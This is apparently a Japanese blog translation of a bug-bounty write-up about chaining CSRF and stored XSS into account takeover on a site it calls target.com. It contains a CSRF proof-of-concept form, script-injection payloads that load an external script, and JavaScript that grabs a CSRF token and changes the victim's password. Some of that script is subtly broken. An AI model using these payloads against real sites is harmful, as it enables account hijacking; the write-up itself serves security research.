Shikata Ga Nai

Private? There is no such things.

CSRF + Stored XSS Leading to Full Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

CSRF + 保存された XSS がアカウントの完全な乗っ取りにつながるを。

 

脆弱性:

 保存された XSS

 CSRF

 アカウントの乗っ取り

 

記事:

 https://medium.com/@bag0zathev2/csrf-stored-xss-to-leading-to-full-account-takeover-39e9a79533e3

 

この記事は、CSRF + XSS に関する私の調査結果と、それらの両方を使用してアカウン今回は、hackerone の priv8 プログラムでの発見に関するもので。

 

 1.CSRF

 2.XSS

 3.XSS + CSRF = アカウント乗っ取り


影響を受けるサイトを target.com と呼ぶことに。

最初に、ウェブサイトを開き始め、新しいユーザーを登録し。

あちこちでいくつかの機能をテストし。

次に、最も重要な部分の1つである「アカウント情報/設定」セクションを。

最初に、いくつかの詳細の変更を確認し、リクエストを検査し始め。

次に、何かを制御するヘッダー、CSRF トークン、または。

セキュリティ レベルがないことに気付き。

すぐに CSRF PoC を生成してテストして。

 

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.target.com/?controller=account-service&action=update" method="POST">
      <input type="hidden" name="first&#95;name" value="sir" />
      <input type="hidden" name="last&#95;name" value="bugs" />
      <input type="hidden" name="organization" value="" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="address&#95;line&#95;1" value="" />
      <input type="hidden" name="address&#95;line&#95;2" value="" />
      <input type="hidden" name="city" value="mango" />
      <input type="hidden" name="zip" value="" />
      <input type="hidden" name="country" value="US" />
      <input type="hidden" name="state&#95;province" value="Other" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

その後、CSRFを取得できて。

そして、パスワードを変更しようとし始め。

現在のパスワードの要求が見られなかったので、本当に嬉しくて。

password+confirm passwordを要求するだけで、変更され。

 

ただし、CSRF を使用してパスワードも変更しようとすると。

ここでうまくいかないことに直面して。

パスワード変更要求で使用される csrf トークンがあり。

ここで、他の入力のテストを開始し、XSS を取得しようとし。

入力に“ ‘ ( ) < >と他の文字を入力しようとしたときに奇妙なことに気付き。

それは、cityを下記のように設定した後、次のことに気付き。

 

 **mango”’>**

 

 

次のようにcityに設定すると。

 

 mango"><script>alert(document.cookie)</script>


それは、リクエストを保護するものは何もエンコードされておらず。

 

 

2.これで、最初の CSRF で XSS を取得できて。

 簡単な js コードを作成して自分の Web サイトにアップロードし。

 下記をペイロードとして使用すると。

 

  mango”><script src=”my_js_file_url”></script>

 

 下記のようにファイルが含まれて。

 

<script>var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open(‘get’,’/account-details’,true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name=”csrf-passwd” value=”(\w+)”/)[1];
};
var http = new XMLHttpRequest();
http.open("POST", "/change-password", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    document.getElementById("content").innerHTML = this.responseText;
  }
};
http.send("password=123123&confirm_password=123123&csrf_token="+var);
</script>

 

そして、アカウントを完全に制御して。

 

Best regards, (^^ゞ